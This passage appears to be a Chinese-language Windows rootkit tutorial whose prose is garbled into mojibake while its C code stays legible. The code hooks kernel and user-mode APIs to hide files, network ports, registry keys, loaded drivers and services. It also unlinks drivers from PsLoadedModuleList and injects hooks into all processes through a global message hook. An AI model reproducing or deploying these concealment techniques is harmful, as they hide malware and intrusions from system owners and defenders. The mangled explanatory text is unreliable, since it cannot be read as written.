闅愯棌鏂囦歡/鐩綍鐨勬柟娉曞拰闅愯棌榪涚▼鍩烘湰涓婁竴鏍鳳紝濡傛灉娌℃湁鏂囦歡/鐩綍琚壘鍒幫紝搴旇榪斿洖0x80000006銆?br>
NTSTATUS NewZwQueryDirectoryFile (
IN HANDLE hFile,
……)
{
......
//璇鋒眰鍘熷嚱鏁?br>ntStatus=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (hFile,……);

if (NT_SUCCESS(ntStatus) && FileInfoClass==12)
{
//鎸囧悜鏂囦歡鍒楄〃緙撳啿鍖?br>FileCurr=(LPFILE_NAMES_INFORMATION)FileInformationBuffer;
do {
LastOne=!(FileCurr->NextEntryOffset); //鍙栧亸縐?br>FileNameLength=FileCurr->FileNameLength; //鍙栭暱搴?br>RtlInitUnicodeString(&FileNameWide,FileCurr->FileName);
RtlUnicodeStringToAnsiString(&FileNameAnsi,&FileNameWide,TRUE);
if (_strnicmp(HIDDEN_SYSTEM_FILE,FileNameAnsi.Buffer,
(FileNameLength / 2))==0)
{
//鏈鍚庝竴涓枃浠?br>if (LastOne)
{
if (FileCurr==(LPFILE_NAMES_INFORMATION)
FileInformationBuffer)
ntStatus=0x80000006; //闅愯棌
else
FilePrev->NextEntryOffset=0;
}
else
{
//縐誨姩鏂囦歡鍋忕Щ
Pos=((ULONG)FileCurr)-((ULONG)FileInformationBuffer);
Left=(DWORD)FileInformationBufferLength-Pos-
FileCurr->NextEntryOffset;
RtlCopyMemory((PVOID)FileCurr,(PVOID)((char *)
FileCurr+FileCurr->NextEntryOffset),(DWORD)Left);
continue;
}
}

//涓嬩竴鏂囦歡
FilePrev=FileCurr;
FileCurr=(LPFILE_NAMES_INFORMATION)((char *)
FileCurr+FileCurr->NextEntryOffset);
}while (!LastOne);
}

……
return ntStatus;
}

HIDDEN_SYSTEM_FILE鍚屾牱鏄畯錛屽彟澶栵紝鏂囦歡闀垮害鏄互Unicode緇熻鐨勶紝涓涓瓧絎﹀崰16浣嶏紝鑰屾瘮杈冭鍙ユ槸浠NSI姣旇緝鐨勶紝涓涓瓧絎﹀崰8浣嶏紝鎵浠strnicmp鍑芥暟鏈鍚庣殑姣旇緝澶у皬鏄疐ileNameLength / 2錛屽鏋滀互Unicode姣旇緝錛屽氨涓嶅繀闄や互2浜嗐傚湪鏉ョ湅鐪嬮殣钘忕鍙c?br>

鍏侀殣钘忕鍙?br>

鏋氫婦绔彛浣跨敤iphlpapi.dll涓殑鍑芥暟錛岃屽畠浠渶緇堣皟鐢ㄧ殑鏄痁wDeviceIoControlFile鍑芥暟錛屼嬌鐢ㄥ畠鍙戦佷竴涓壒瀹氱殑IRP鑾峰彇绔彛鍒楄〃錛屾墍浠ュ彧瑕丠OOK浜哯wDeviceIoControlFile鍑芥暟錛屽氨鍙互闅愯棌绔彛銆傚嚱鏁板師鍨嬪涓嬶細

NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile (
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength);

FileHandle涓洪氫俊璁懼鐨勫彞鏌勶紝鍙互浣跨敤ZwQueryObject鍑芥暟鑾峰緱鍏跺叿浣撲俊鎭紝瀵逛簬绔彛璁懼鐨勶紝瀹冪殑鍚嶅瓧鎬繪槸\Device\Tcp鎴朶Device\Udp錛汭oControlCode涓虹壒瀹氱殑I/O鎺у埗浠g爜錛岃〃紺鴻鏌ヨ鐨勪俊鎭侷nputBuffer鍜孫utputBuffer鍒嗗埆涓鴻緭鍏ヨ緭鍑虹紦鍐層?br>
鏌ヨ绔彛鐨処/O鎺у埗浠g爜鏈?涓紝鍒嗗埆涓猴細0x210012鍜?x120003錛屽畠浠墍榪斿洖鐨勭粨鏋勩佸垎杈═CP/UDP绔彛閮芥槸涓嶅悓鐨勶紝闇瑕佸垎鍒寰呫傚湪鎴戠殑Windows 2000 SP4涓嬶紝Netstat浣跨敤0x120003錛岃孎port鍗翠嬌鐢?x210012銆傚浜?x120003錛岃繑鍥炵殑緇撴瀯濡備笅錛?br>
typedef struct tcpaddrentry //TCP
{
ULONG TcpState; //鐘舵?br>ULONG TcpLocalAddr; //鏈湴鍦板潃
ULONG TcpLocalPort; //鏈湴绔彛
ULONG TcpRemoteAddr; //榪滅▼鍦板潃
ULONG TcpRemotePort; //榪滅▼绔彛
}TCPADDRENTRY,*LPTCPADDRENTRY;

typedef struct udpaddrentry //UDP
{
ULONG UdpLocalAddr; //UDP鍙湁鏈湴鍦板潃
ULONG UdpLocalPort; //绔彛
}UDPADDRENTRY,*LPUDPADDRENTRY;

寰堢啛鎮夊惂錛岃繖姝f槸iphlpapi.dll涓殑鍑芥暟榪斿洖鐨勭粨鏋勩傚浜庤繖2涓粨鏋勶紝榪樺彲浠ユ墿灞曪紝鍒欎細澧炲姞涓涓繘紼婭D錛屼笉榪囧彧閫傜敤XP/2003錛岀粨鏋勫氨涓嶅笘浜嗭紝鍙互鍦≧ootkitMain.h涓煡鎵懼埌銆備嬌鐢ㄨ繖涓狪/O鎺у埗浠g爜榪涜绔彛鏌ヨ錛孎ileHandle鐨勫悕瀛楁繪槸\Device\Tcp錛屾墍浠ュ尯鍒玊CP鍜孶DP鐨勬柟娉曟槸媯鏌nputBuffer錛屽寘鎷垽鏂槸鍚︿負鎵╁睍緇撴瀯銆?br>
瀵逛簬TCP鏌ヨ錛岃緭鍏ョ紦鍐茬殑鐗瑰緛鏄疘nputBuffer[0]涓?x00錛屽鏋淥utputBuffer涓凡緇忔湁浜嗙鍙f暟鎹紝鍒橧nputBuffer[17]涓?x01錛屽鏋滄槸鎵╁睍緇撴瀯錛屽垯InputBuffer[16]涓?x02銆傚浜嶶DP鏌ヨ錛孖nputBuffer[0]灝變負0x01浜嗭紝InputBuffer[16]鍜孖nputBuffer[17]鐨勫煎拰TCP鏌ヨ鏄竴鏍風殑銆傛垜浠嬌鐢ㄨ繖3涓兼潵鍖哄垎TCP/UDP绔彛鍜屾槸鍚︿負鎵╁睍緇撴瀯錛孫utputBuffer榪斿洖鐨勬槸瀹屾暣鐨勭鍙e垪琛ㄧ紦鍐插尯錛屼嬌鐢↖oStatusBlock鍙栧緱绔彛鐨勬暟閲忥紝闅愯棌鏌愪釜绔彛錛屽氨鍚戝墠縐誨姩緙撳啿鍖恒傚浜?x210012錛岃繑鍥炵殑緇撴瀯濡備笅錛?br>
typedef struct tdiconnectinfo
{
ULONG State;
ULONG Event;
ULONG TransmittedTsdus;
ULONG ReceivedTsdus;
ULONG TransmissionErrors;
ULONG ReceiveErrors;
LARGE_INTEGER Throughput;
LARGE_INTEGER Delay;
ULONG SendBufferSize;
ULONG ReceiveBufferSize;
BOOLEAN Unreliable;
}TDI_CONNECTION_INFO,*LPTDI_CONNECTION_INFO;

浣跨敤榪欎釜I/O鎺у埗浠g爜榪涜绔彛鏌ヨ錛孎ileHandle鐨勫悕瀛楁槸\Device\Tcp鎴朶Device\Udp錛屾墍浠ュ垎鍒玊CP鎴朥DP涓嶉渶瑕佽緭鍏ョ紦鍐詫紝鑰屾槸浣跨敤ZwQueryObject鍑芥暟鑾峰彇鍙ユ焺鐨勫悕瀛椼侽utputBuffer榪斿洖鐨勬槸鍗曠嫭鐨勭紦鍐插尯錛屼篃灝辨槸璇達紝涓涓鍙h繑鍥炰竴涓紝闅愯棌鏌愪釜绔彛錛屽氨灝嗚繑鍥炲艱緗負STATUS_INVALID_ADDRESS鍗沖彲銆?br>
NTSTATUS NewZwDeviceIoControlFile (
IN HANDLE FileHandle,
......)
{
......
//璇鋒眰鍘熷嚱鏁?br>ntStatus=((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile))(FileHandle,……);

if ((NT_SUCCESS(ntStatus)) && (IoControlCode==0x210012))
{
//鏌ヨ鍙ユ焺鍚嶇О 浠ヤ究紜畾鏄疶CP榪樻槸UDP
if (NT_SUCCESS(ZwQueryObject(FileHandle,
OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&RetLen)))
{
//鎸囧悜绔彛鍒楄〃緙撳啿鍖?br>lpTdiConnInfo=(LPTDI_CONNECTION_INFO)OutputBuffer;
RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);

//TCP绔彛
if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,
strlen(TCP_PORT_DEVICE))==0)
{
if (ntohs(lpTdiConnInfo->ReceivedTsdus)==HIDDEN_SYSTEM_PORT)
ntStatus=STATUS_INVALID_ADDRESS; //闅愯棌
}

//UDP绔彛
if (_strnicmp(ObjectNameAnsi.Buffer,UDP_PORT_DEVICE,
strlen(UDP_PORT_DEVICE))==0)
{
if (ntohs(lpTdiConnInfo->ReceivedTsdus)==HIDDEN_SYSTEM_PORT)
ntStatus=STATUS_INVALID_ADDRESS; //闅愯棌
}
}
}

if ((NT_SUCCESS(ntStatus)) && (IoControlCode==0x120003))
{
if (NT_SUCCESS(ZwQueryObject(FileHandle,
OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&RetLen)))
{
RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);
if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,
strlen(TCP_PORT_DEVICE))==0)
{
if (((InBuf=(LPBYTE)InputBuffer)==NULL) || (InputBufferLength<17))
//閿欒澶勭悊

if ((InBuf[0]==0x00) && (InBuf[17]==0x01)) //TCP绔彛
{
if (InBuf[16]!=0x02) //闈炴墿灞曠粨鏋?br>{
//鑾峰彇绔彛涓暟
Num=IoStatusBlock->Information / sizeof (TCPADDRENTRY);
lpTcpAddrEntry=(LPTCPADDRENTRY)OutputBuffer;

for (n=0; n<Num; n++)
{
if (ntohs(lpTcpAddrEntry[n].TcpLocalPort)==
HIDDEN_SYSTEM_PORT)
{

//鍚戝墠縐誨姩绔彛鍒楄〃緙撳啿鍖?br>memcpy((lpTcpAddrEntry+n),(lpTcpAddrEntry+n+1),
((Num-n-1) * sizeof (TCPADDRENTRY)));
Num--; //鎬繪暟--
n--;
break;
}
}

//闅愯棌鍚庣鍙f繪暟
IoStatusBlock->Information=Num * sizeof (TCPADDRENTRY);
......
}
}
……
}
}
}

return ntStatus;
}

0x120003鏌ヨ鐨刄DP鍜屽鐞嗘墿灞曠粨鏋勭殑浠g爜灝變笉甯栦簡錛屽拰澶勭悊TCP涓鏍鳳紝鏃犻潪灝辨槸緇撴瀯涓嶅悓錛岄殣钘忛兘鏄痬emcpy縐誨姩緙撳啿銆傝繕鏈夊繀欏繪鏌nBuf[17]鏄惁涓?x01錛屽惁鍒欐寚鍚戠殑OutputBuffer灝辨槸NULL鎸囬拡浜嗐備笅闈㈢殑鍐呭鏄殣钘忔敞鍐岃〃銆?br>

涓冦侀殣钘忔敞鍐岃〃


鏋氫婦娉ㄥ唽琛ㄩ敭鍜岄敭鍊間嬌鐢ㄧ殑Native API鏄痁wEnumerateKey鍜孼wEnumerateValueKey鍑芥暟錛屽畠浠墍鍋氱殑宸ヤ綔鍩烘湰涓鏍鳳紝閮芥槸浣跨敤绱㈠紩鑾峰彇閿?閿鹼紝騫惰繑鍥炰竴涓紦鍐插尯鎸囬拡銆俍wEnumerateKey鍑芥暟鍘熷瀷濡備笅錛孼wEnumerateValueKey鍑芥暟鍜屽畠鍑犱箮涓鏍鳳紝灝變笉甯栧嚭鏉ヤ簡銆?br>
NTSYSAPI NTSTATUS NTAPI ZwEnumerateKey (
IN HANDLE KeyHandle, //鍙ユ焺
IN ULONG Index, //璇鋒眰鐨勭儲寮?br>IN KEY_INFORMATION_CLASS KeyInformationClass, //鑾峰彇鐨勪俊鎭被鍨?br>OUT PVOID KeyInformation, //榪斿洖鐨勭紦鍐插尯鎸囬拡
IN ULONG Length, //闀垮害
OUT PULONG ResultLength); //瀹為檯闀垮害

DDK涓叕寮浜嗚嫢騫叉敞鍐岃〃鍑芥暟錛屾墍浠ヨ繖2涓嚱鏁扮殑緇撴瀯錛屾灇涓劇被鍨嬮兘宸茬粡瀹氫箟濂戒簡錛岀洿鎺ヤ嬌鐢ㄥ氨鍙互浜嗐侹eyInformationClass涓鍏?涓鹼紝鍙枩鐨勬槸鎴戜滑涓嶅繀閫愪釜澶勭悊錛岀粺涓澶勭悊灝卞彲浠ヤ簡錛屽洜涓哄彧闇瑕佹敞鍐岃〃閿?閿煎悕鍜屽叾闀垮害錛岃岃繑鍥炵殑榪?涓粨鏋勪腑閮藉寘鍚繖2涓粨鏋勬垚鍛橈紝鎵浠ユ墠鍙互緇熶竴澶勭悊銆傝繖閲屾垜浠嬌鐢↘EY_BASIC_INFORMATION緇撴瀯銆?br>
typedef struct _KEY_BASIC_INFORMATION {
LARGE_INTEGER LastWriteTime;
ULONG TitleIndex;
ULONG NameLength;
WCHAR Name[1];
}KEY_BASIC_INFORMATION,*PKEY_BASIC_INFORMATION;

榪欓噷鎴戜滑闇瑕佺殑涓滆タ鏄疦ame鍜屽畠鐨勯暱搴ameLength銆傝屽浜嶼wEnumerateValueKey鍑芥暟錛屾垜浠嬌鐢↘EY_VALUE_BASIC_INFORMATION緇撴瀯錛堝拰KEY_BASIC_INFORMATION鍑犱箮涓鏍鳳紝鎵浠ヨ鏌ヨDDK Documentation鏂囨。錛夈?br>
鏋氫婦娉ㄥ唽琛ㄩ敭/閿鹼紝鏄氳繃绱㈠紩鑾峰彇鐨勶紝榪欐牱鐨勮瘽錛屾垜浠殣钘忎簡涓涓敞鍐岃〃閿?閿鹼紝閭e叾鍚庣殑鎵鏈夌儲寮曢兘闇瑕佹敼鍙樸傝繖閲屽氨闇瑕佹湁涓涓爣鐣岋紝鐞嗘墍褰撶劧鏄埄鐢↘eyHandle鐨勫鹼紝涓嶅悓瀛愰敭鐨勫彞鏌勫兼槸涓嶅悓鐨勩備婦涓緥瀛愶紝渚嬪闅愯棌浜咾eyHandle涓?涓嬬殑鏌愪竴涓敞鍐岃〃閿紝閭d箞鍏跺悗KeyHandle涓?涓嬬殑鎵鏈夌儲寮曪紙娉ㄥ唽琛ㄩ敭錛夐兘闇瑕?1錛岃屼笉鏄疜eyHandle涓?鐨勫氨涓嶉渶瑕佸姞浜嗐傚叿浣撶湅涓涓嬩唬鐮侊紝榪欓噷浠嶄互ZwEnumerateKey鍑芥暟涓轟緥銆?br>
NTSTATUS NewZwEnumerateKey (
IN HANDLE KeyHandle,
......)
{
......
static HANDLE RegHandle=NULL;
static LONG RegIndex=0;

if (RegHandle==KeyHandle) //鍚屼竴鍙ユ焺
Index+=RegIndex; //鍔犱笂闅愯棌鐨勬敞鍐岃〃閿釜鏁?br>else
{
RegIndex=0; //鍚﹀垯閲嶆柊璧嬪間負0
RegHandle=NULL;
}

//璇鋒眰鍘熷嚱鏁?br>ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,……);

if (NT_SUCCESS(ntStatus))
{
//鎸囧悜娉ㄥ唽琛ㄩ敭緙撳啿鍖?br>lpKeyBasic=(KEY_BASIC_INFORMATION *)KeyInformation);
RtlInitUnicodeString(&RegsNameWide,lpKeyBasic->Name);
RtlUnicodeStringToAnsiString(&RegsNameAnsi,&RegsNameWide,TRUE);

if (_strnicmp(HIDDEN_SYSTEM_KEY,RegsNameAnsi.Buffer,
(lpKeyBasic->NameLength / 2))==0)
{
RegHandle=KeyHandle; //鍙栧彞鏌勫?br>RegIndex++; //闅愯棌涓暟
Index++; //绱㈠紩鍔?

//鍐嶆璇鋒眰 璺寵繃闅愯棌鐨勬敞鍐岃〃閿?br>ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,……);
}
}

……
return ntStatus;
}

浣跨敤榪欑鏂規硶闅愯棌娉ㄥ唽琛ㄩ敭/閿鹼紝鍙戠幇鏈夋椂涓嶅悓瀛愰敭鐨凨eyHandle鍊間篃鏄浉鍚岀殑錛岃繖灝遍犳垚浜嗗闅愯棌鏁版嵁銆傝В鍐崇殑鍔炴硶鏄疕OOK浜哯wOpenKey鍑芥暟錛屼嬌鐢╖wOpenKey鍑芥暟鐨凨eyHandle鏋氫婦閿?閿鹼紙浣跨敤ZwEnumerateKey鍜孼wEnumerateValueKey鍑芥暟錛夛紝騫惰褰曚笅闇瑕侀殣钘忕殑绱㈠紩錛岀劧鍚庡湪ZwEnumerateKey鎴朲wEnumerateValueKey鍑芥暟涓璉ndex鍙傛暟榪涜姣旇緝錛屽鏋滅浉絳夛紝灝遍殣钘忎簡錛堢儲寮?1鍗沖彲錛夛紝榪欐牱涓婇潰鐨勯棶棰樺氨鍙互瑙e喅浜嗐傚鏋滄兂瑕佸仛鐨勬洿闅愯斀錛屽儚ZwQueryKey銆乑wDeleteKey絳夊嚱鏁伴兘闇瑕丠OOK錛屾垜榪欓噷鍙槸婕旂ず紼嬪簭錛屾病鍐欒繖涔堣緇嗭紝榪欎簺鍐呭灝辯暀緇欏悇浣嶈鑰呰嚜宸卞疄璺典簡錛堝樋鍢匡紝榪欏彨鍋鋒噿錛夈?br>

鍏侀殣钘忓唴鏍告ā鍧?br>

鎵璋撳唴鏍告ā鍧楋紝灝辨槸鍐呮牳鍔犺澆鐨勯┍鍔ㄤ俊鎭紝DDK涓殑Drivers.exe鍙互鏋氫婦鍑虹郴緇熺殑鍐呮牳妯″潡鍒楄〃錛屽畠鏈緇堣皟鐢ㄧ殑鏄痁wQuerySystemInformation鍑芥暟錛屼俊鎭被涓?1錛岃〃紺鴻幏鍙栫郴緇熺殑鍐呮牳妯″潡銆傚鏋滆闅愯棌鏌愪釜鍐呮牳妯″潡錛屽氨鍍忎笂杈逛粙緇嶉殣钘忕郴緇熷彞鏌勪竴鏍鳳紝memcpy縐誨姩緙撳啿鍖猴紝鎵浠ヨ繖閲屼粙緇嶅彟涓縐嶉殣钘忔柟娉曪細浠嶱sLoadedModuleList閾句笂鎽橀櫎鍐呮牳妯″潡銆侾sLoadedModuleList鏄郴緇熶腑涓涓湭鍏紑鐨勫唴鏍稿彉閲忥紙LIST_ENTRY閾捐〃錛夛紝淇濆瓨鐫緋葷粺鐨勫唴鏍告ā鍧椼備嬌鐢ㄨ繖縐嶆柟娉曢殣钘忕殑鍏抽敭鏄壘鍒癙sLoadedModuleList鐨勫湴鍧錛屽ソ鍦ㄥ墠浜哄凡緇忕粰鍑轟簡鏂規硶錛岀敤椹卞姩紼嬪簭瀵硅薄+14h鍗沖彲瀹氫綅PsLoadedModuleList銆傛垜浠鍏堥渶瑕佸畾涔変竴涓粨鏋勶紙榪欎釜緇撴瀯铏界劧涓嶆槸瀹屾暣鐨勶紝浣嗘垜鍙互淇濊瘉瀹冩甯稿伐浣滐級銆侴etPsLoadedModuleList鍑芥暟鏌ユ壘PsLoadedModuleList鐨勫湴鍧錛孒ideAmlName鍑芥暟闅愯棌鍐呮牳妯″潡錛屼唬鐮佸涓嬶細

typedef struct moduleentry
{
LIST_ENTRY ListEntry;
DWORD Unknown[4];
DWORD Base;
DWORD DriverStart;
DWORD Unknown1;
UNICODE_STRING DriverPath;
UNICODE_STRING DriverName;
}MODULE_ENTRY,*LPMODULE_ENTRY;

DWORD GetPsLoadedModuleList (IN PDRIVER_OBJECT DriverObject)
{
......
if (DriverObject)
{
//椹卞姩紼嬪簭瀵硅薄+14h澶勬槸PsLoadedModuleList鍦板潃
if ((lpModuleEntry=*((LPMODULE_ENTRY *)
((DWORD)DriverObject+0x14)))==NULL)
{
//閿欒澶勭悊
}
}

return (DWORD)lpModuleEntry; //榪斿洖PsLoadedModuleList鍦板潃
}

NTSTATUS HideAmlName (TCHAR *HideModule)
{
if (ModuleEntry)
CurrentModuleEntry=ModuleEntry;
else
return STATUS_UNSUCCESSFUL;
//榪欐槸鍙屽悜閾捐〃
while ((LPMODULE_ENTRY)CurrentModuleEntry->ListEntry.Flink!=ModuleEntry)
{
if ((CurrentModuleEntry->Unknown1!=0) &&
(CurrentModuleEntry->DriverPath.Length!=0))
{
RtlUnicodeStringToAnsiString(&DriverNameAnsi,
&CurrentModuleEntry->DriverName,TRUE);

if (_strnicmp(HideModule,DriverNameAnsi.Buffer,
strlen(DriverNameAnsi.Buffer))==0)
{
*((DWORD *)CurrentModuleEntry->ListEntry.Blink)=
(DWORD)CurrentModuleEntry->ListEntry.Flink;
CurrentModuleEntry->ListEntry.Flink->Blink=
CurrentModuleEntry->ListEntry.Blink;
break;
}
}
//鍚戜笅縐誨姩
CurrentModuleEntry=(LPMODULE_ENTRY)
CurrentModuleEntry->ListEntry.Flink;
}

return STATUS_SUCCESS;
}

浠嶱sLoadedModuleList閾句笂鎽橀櫎鍐呮牳妯″潡鍚庯紝ZwQuerySystemInformation鍑芥暟灝辨棤娉曟灇涓懼嚭瀹冧簡銆?br>

涔濄佺敤鎴鋒丠OOK


鐢ㄦ埛鎬佺殑HOOK鏈夊緢澶氭柟娉曪紝姣斿淇敼鍑芥暟鐨勫墠5涓瓧鑺傦紝淇敼杈撳叆琛ㄧ瓑錛岃繖閲岄噰鐢╡yas澶у摜鐨勬柟娉旵OPY DLL錛屼富瑕佹槸榪欑鏂規硶鏁堢巼涓嶉敊銆侶OOK鏂拌繘紼嬮噰鐢ㄦ秷鎭挬瀛愶紝鎵浠ラ渶瑕佺紪鍐欐垚DLL銆?br>
HOOK鐨勬楠ら鍏堝皢闇瑕丠OOK鐨凞LL鍔犺澆鍒板綋鍓嶈繘紼嬬殑鍦板潃絀洪棿涓紝鐒跺悗浣跨敤PSAPI涓殑GetModuleInformation鍑芥暟鑾峰彇DLL淇℃伅錛岀洰鐨勬槸寰楀埌DLL鐨勫姞杞藉湴鍧銆?br>
BOOL InitHookDll (TCHAR *Name,LPDLLINFO lpHookDllInfo)
{
//鍙栧緱鎽稿揩鍙ョ偝
if ((lpHookDllInfo->hModule=LoadLibrary(Name))==NULL)
{
//閿欒澶勭悊
}

//鑾峰彇鎽稿揩淇℃伅
if (!GetModuleInformation(GetCurrentProcess(),lpHookDllInfo->hModule,
&lpHookDllInfo->ModuleInfo,sizeof(MODULEINFO)))
{
//閿欒澶勭悊
}

if ((lpHookDllInfo->NewBase=malloc
(lpHookDllInfo->ModuleInfo.SizeOfImage))==NULL)
{
//閿欒澶勭悊
}

//鍙栧緱鎽稿揩鍦板潃
memcpy(lpHookDllInfo->NewBase,lpHookDllInfo->ModuleInfo.lpBaseOfDll,
lpHookDllInfo->ModuleInfo.SizeOfImage);
return TRUE;
}

DLLINFO鏄竴涓嚜瀹氫箟緇撴瀯錛屼繚瀛樼潃妯″潡鐨勫彞鏌勩佸湴鍧絳夈侱LL鍔犺澆鍚庯紝妯″潡淇℃伅涔熸湁浜嗭紝涓嬮潰浣跨敤GetProcAddress鍑芥暟鍙朒OOK鍑芥暟鍦板潃錛孷irtualQuery鍑芥暟鑾峰彇铏氭嫙鍐呭瓨淇℃伅錛孷irtualProtect鍑芥暟鏀瑰彉欏甸潰灞炴э紝鏈鍚庝慨鏀瑰師鍑芥暟鐨勫湴鍧錛圙etProcAddress鍑芥暟鐨勮繑鍥炲鹼級浣垮叾鎸囧悜鎴戜滑鐨勪唬鐮併?br>
BOOL HookUserApi (LPDLLINFO lpHookDllInfo,TCHAR *Name,DWORD OldFunc,DWORD *NewFunc)
{
//鍙栧緱闇瑕丠OOK鍑芥暟鐨勫湴鍧
if ((OrigFunc=(DWORD) GetProcAddress (lpHookDllInfo->hModule,Name))==NULL)
{
//閿欒澶勭悊
}

//鑾峰彇铏氭嫙鍐呭瓨淇℃伅
if (!VirtualQuery((LPVOID)OrigFunc,&mbi,
sizeof(MEMORY_BASIC_INFORMATION)))
{
//閿欒澶勭悊
}

//鏀瑰彉欏甸潰灞炴т負璇伙紝鍐欙紝鎵ц
if (!VirtualProtect(mbi.BaseAddress,mbi.RegionSize,
PAGE_EXECUTE_READWRITE,&Protect))
{
//閿欒澶勭悊
}

//HOOK
JmpCode.mov_eax=(BYTE)0xB8;
JmpCode.address=(LPVOID)OldFunc;
JmpCode.jmp_eax=(WORD)0xE0FF;

//璁$畻鍘熷嚱鏁板湴鍧
*NewFunc=OrigFunc - (DWORD)lpHookDllInfo->ModuleInfo.lpBaseOfDll
+ (DWORD)lpHookDllInfo->NewBase;
//淇敼鍘熷嚱鏁板湴鍧錛屾寚鍚慜ldFunc
memcpy((LPVOID)OrigFunc,(UCHAR *)&JmpCode,sizeof(ASMJUMP));
return TRUE;
}

JmpCode鏄疕OOK緇撴瀯錛屼繚瀛樼潃鎴戜滑鐨勫嚱鏁扮殑鍦板潃鍜孞MP鐨勮煩杞湴鍧銆傛湁浜嗕笂闈㈣繖2涓嚱鏁幫紝灝卞彲浠OOK浠諱綍DLL涓殑鍑芥暟浜嗭紝渚嬪鏋氫婦鐢ㄦ埛浣跨敤鐨勬槸NetUserEnum鍑芥暟錛屽皝瑁呭湪Netapi32.dll涓紝HOOK渚嬪瓙濡備笅錛?br>
DWORD WINAPI HookMain (LPVOID lpNot)
{
if (!(InitHookDll("netapi32.dll",&Netapi32)))
{
//閿欒澶勭悊
}

if (!(HookUserApi(&Netapi32,"NetUserEnum",(DWORD)HookNetUserEnum,
&NewNetUserEnum)))
{
//閿欒澶勭悊
}

......
}

HookMain鍑芥暟闇瑕佸湪DllMain涓皟鐢紝鍥犱負娑堟伅閽╁瓙鍔犺澆DLL鍚庯紝灝卞簲璇ョ珛鍒昏繘琛孉PI HOOK銆侼etapi32鏄疍LLINFO緇撴瀯錛屼繚瀛樼潃Netapi32.dll鐨勪俊鎭紱HookNetUserEnum鏄垜浠殑鍑芥暟錛孨ewNetUserEnum鏄師鍑芥暟鍦板潃銆傜幇鍦ㄥ彧宸秷鎭挬瀛愬嚱鏁頒簡錛屽畨瑁?鍗歌澆娑堟伅閽╁瓙鐨勫嚱鏁伴渶瑕佸紩鍑猴紝娑堟伅閽╁瓙鐨勭被鍨嬫槸WH_GETMESSAGE錛岄挬瀛愬洖璋冨嚱鏁頒粈涔堥兘涓嶅仛錛屽彧鏄悜涓嬩紶閫掞紝鍥犱負鎴戜滑鐨勭洰鐨勬槸浣挎柊榪涚▼鍔犺澆DLL銆?br>
LRESULT WINAPI Hook (int nCode,WPARAM wParam,LPARAM lParam)
{
//鍚戜笅浼犻?br>return CallNextHookEx(hHook,nCode,wParam,lParam);
}

extern "C" __declspec(dllexport) BOOL InstallHook()
{
//瀹夎閽╁瓙
if ((hHook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)Hook,
hInst,0))==NULL)
{
//閿欒澶勭悊
}
return TRUE;
}

extern "C" __declspec(dllexport) BOOL UninstallHook()
{
//鍗歌澆閽╁瓙
return UnhookWindowsHookEx(hHook);
}

hInst鏄湪DllMain鍑芥暟涓繚瀛樼殑鍙ユ焺錛岃繖鏄繀欏葷殑錛屽惁鍒欓挬瀛愪笉浼氬畨瑁呮垚鍔熴傜敤鎴鋒佺殑HOOK鏈夊緢澶氱鏂規硶錛岀敤鍝釜闅忎究浣犱簡錛屽彧瑕佽兘HOOK API灝辮錛佷笅闈粙緇嶉殣钘忔湇鍔?椹卞姩銆?br>

鍗併侀殣钘忔湇鍔?椹卞姩


鏋氫婦鏈嶅姟浣跨敤鐨勬槸Advapi32.dll涓殑5涓嚱鏁幫紝榪?涓嚱鏁板湪姣忎釜Windows緋葷粺涓殑鑱旂郴閮戒笉涓鏍鳳紝鎵浠ラ渶瑕丠OOK鎵鏈夊嚱鏁般?br>
EnumServicesStatusA()
EnumServicesStatusW()
EnumServicesStatusExA()
EnumServicesStatusExW()
EnumServiceGroupW()

榪?涓嚱鏁頒腑錛屽墠4涓槸鍏紑鐨勶紝鍦∕SDN涓潎鏈夊彊榪幫紝鍙湁鏈鍚庝竴涓槸MS娌℃湁鍏紑鐨勶紝鑰屼笖鍙湁Unicode鐗堢殑鍑芥暟銆傚畠鐨勫弬鏁板拰鍏朵粬4涓嚱鏁板熀鏈竴鏍鳳紝榪斿洖鐨勭粨鏋勬槸LPENUM_SERVICE_STATUS錛岃繖涓粨鏋勪篃鏄疎numServicesStatus鍑芥暟鎵榪斿洖鐨勩?涓嚱鏁頒腑閮芥湁涓涓猟wServiceType鍙傛暟錛岃〃紺烘湇鍔$被鍨嬶紝SERVICE_WIN32琛ㄧず鏍囧噯Win32鏈嶅姟錛孲ERVICE_DRIVER琛ㄧず璁懼椹卞姩銆俵pServicesReturned涓鴻繑鍥炴湇鍔℃繪暟錛岄殣钘忕殑鏂規硶榪樻槸memcpy縐誨姩緙撳啿鍖恒傛垜浠互EnumServiceGroupW鍑芥暟涓轟緥錛屾潵鐪嬩竴涓嬩唬鐮併?br>
BOOL WINAPI HookEnumServiceGroupW (SC_HANDLE hSCManager,……)
{
......
__asm
{
//鍙傛暟鍏ユ爤錛屾敞鎰忛『搴忥紝瑕侀伒寰猒_stdcall璋冪敤綰﹀畾
push dwUnknown
push lpResumeHandle
push lpServicesReturned
push pcbBytesNeeded
push cbBufSize
push lpServices
push dwServiceState
push dwServiceType
push hSCManager
mov eax,NewEnumServiceGroupW //鍘熷嚱鏁板湴鍧鏀懼叆EAX
call eax //璇鋒眰
mov sRet,eax //榪斿洖鍊?br>}

if (sRet)
{
//澶勭悊鏈嶅姟鍜岄┍鍔?br>if (dwServiceType==SERVICE_WIN32 || dwServiceType==SERVICE_DRIVER)
{
//鎸囧悜鏈嶅姟鍒楄〃緙撳啿鍖?br>lpEnumServiceGroupW=(LPENUM_SERVICE_STATUSW)lpServices;
